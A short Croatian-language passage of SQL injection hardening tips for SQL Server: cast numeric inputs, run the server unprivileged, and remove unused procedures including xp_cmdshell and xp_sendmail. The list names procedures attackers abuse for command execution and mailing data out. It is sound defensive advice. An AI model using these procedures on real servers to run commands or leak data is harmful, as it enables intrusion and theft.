Za numeričke vrijednosti, pretvorite ih u cijeli broj prije nego što ih proslijedite SQL upitu. Ili koristite ISNUMERIC da biste bili sigurni da je cijeli broj.

Pokrenite SQL Server kao neprivilegirani korisnik.

Uklonite nekorištene pohranjene procedure: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask